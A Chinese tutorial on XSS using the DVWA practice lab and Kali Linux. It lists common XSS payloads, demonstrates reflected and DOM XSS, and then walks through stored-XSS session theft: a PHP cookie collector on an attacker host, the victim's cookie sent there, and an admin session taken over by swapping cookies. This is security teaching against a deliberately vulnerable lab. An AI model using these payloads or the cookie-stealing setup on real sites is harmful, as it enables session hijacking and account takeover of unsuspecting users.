基于DVWA+KALI安全测试工具平台演示XSS注入的案例
一、XSS注入定义
跨站脚本攻击英文全称为(Cross site Script)缩写为CSS,为了与CSS样式区分,所以叫做XSS
XSS攻击也叫跨站脚本攻击,通常是利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码带网页,用户访问这些带有恶意指令的网页时,就会被劫持,从而让恶意攻击者获取用户的更高权限,达到劫持会话、繁殖蠕虫等目的。
二、XSS攻击原理
三、XSS注入分类
- 反射型XSS:又称为非持久型XSS,攻击者需要通过一些方法引诱用户点击包含XSS攻击代码的恶意链接,用户点击恶意链接后自动执行其包含的代码,实现XSS攻击,通常发生在搜索框,登录框等用户输入内容的地方;
- 存储型XSS:攻击者将攻击脚本直接上传到用户访问的服务器,使所有用户在访问该网站时,会自动执行攻击脚本,危害性大,通常发生在 留言板,评论区等用户输入内容的地方;
- DOM型XSS:DOM型XSS也是一种反射型XSS攻击,但是形式原理特殊,所以需要单独分类(修改DOM树的动作);
四、XSS工具常见的Case
1 2 3 4 5 | (1)<script>alert( 'XSS' )</script> //简单弹框 (2)<ScRiPt>AlErt( 'XSS' )</ScRiPt> //过滤了大小 (3)<img src= "#" onerror=alert( "XSS" )> //img 标签 进行绕过 (4)javascript:alert( 'xss' ) //使用 Javascript 的尾协议 (5) ' onclick=' alert( "xss" ) //利用 href 属性值来进行xss<br>(6)<script>document.write('<p>张三</p>');</script> // JavaScript修改 DOM树 |
五、案例演示
本次演示使用DVWA工具和KALI黑客平台,配置安装参考: DVWA靶场环境搭建+Phpstudy配置、kali linux安装配置与终端访问指导
1、反射型XSS演示
1-1、打开DVWA平台,我们把 DVWA Security 安全级别调整为LOW后,点击 Submit
1-2、选择XSS反射型案例,点击XSS (Reflected) ( Vulnerability: Reflected Cross Site Scripting (XSS) )
1-3、XSS反射型页面,在输入框中我们输入JavaScript脚本,验证是否存在反射型输入
(1)<script>alert('XSS')</script> //简单弹框 (2)<script>alert(document.cookie);</script> // 弹出当前登录的cookie信息
注意链接,存在script注入信息:http://localhost:6123/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E#
2、DOM型XSS演示
同样需要调整DVWA Security 安全级别调整为LOW后,点击 Submit
2-1、选择DOM反射型案例,点击XSS (DOM) ( Vulnerability: DOM Based Cross Site Scripting (XSS))
2-2、地址中,http://localhost:6123/vulnerabilities/xss_d/?default=English,我们注入XSS代码,default=<script>document.write('<p>张三</p>');</script> ,执行后查看下拉选项中是否新增张三的枚举值,如果新增则说明存在XSS注入风险;
3、存储型XSS注入演示
窃取用户的cookie信息并且保存到数据库中;
3-1、启动kali黑客服务器的应用Apache服务器
切换root权限,启动Apache
http://192.168.124.128/ 打开,显示Apache2 Debian Default Page
进入 cd /var/www/html 目录
新增 vi my.php 文件,输入如下命令:
1 2 3 | <?php $cookie = $_GET [ 'cookie' ]; file_put_contents ( 'cookie.txt' , $cookie ); ?><br>代码解读:我们获取cookie的值赋值给 $cookie ,然后 $cookie 变量把值存在到cookie.txt 中 |
1 | # chown www-data:www-data my.php |
1 2 3 4 5 | ┌──(root㉿kali)-[/ var /www/html] └─# touch cookie.txt ┌──(root㉿kali)-[/ var /www/html] └─# chown www-data:www-data cookie.txt |
最后再重启下Apache
1 2 | ┌──(root㉿kali)-[/ var /www/html] └─# service apache2 restart |
3-2、登录DVWA平台,点击XSS (Stored) (Vulnerability: Stored Cross Site Scripting (XSS) )
打开BurpSuite工具,抓取/vulnerabilities/xss_s提交注册接口后,提交XSS在线的URLencode编码的信息,点击Send,查看数据库插入XSS获取Cookie的代码;
URL编码转换链接:http://www.urlencode.com.cn/
拦截放行数据:
http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面
查看数据库
再次复制链接:http://localhost:6123/vulnerabilities/xss_s/ 进入 存储型XSS页面,会执行XSS代码,把Cookie存储到kali服务器的Cookie.txt中;
执行会直接跳转到 http://192.168.124.128/my.php?cookie=PHPSESSID=l49mtbhea2ibp87b4h011b0ht0;%20security=low
我们再进入kali服务中,查看Cookie是否写入到Cookie.txt 中
获取到admin权限的token,此时我们使用smithy角色登录,再拦截篡改Cookie,这样就相当于smithy有admin权限的功能了
http://192.168.31.195:6123/login.php
拦截登录接口
(前提需要清理smithy登录前的cookie信息)
现在登录信息为admin信息
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· DeepSeek在M芯片Mac上本地化部署
· 葡萄城 AI 搜索升级:DeepSeek 加持,客户体验更智能
2022-10-22 解决Git@github.com: Permission denied (publickey).的问题指导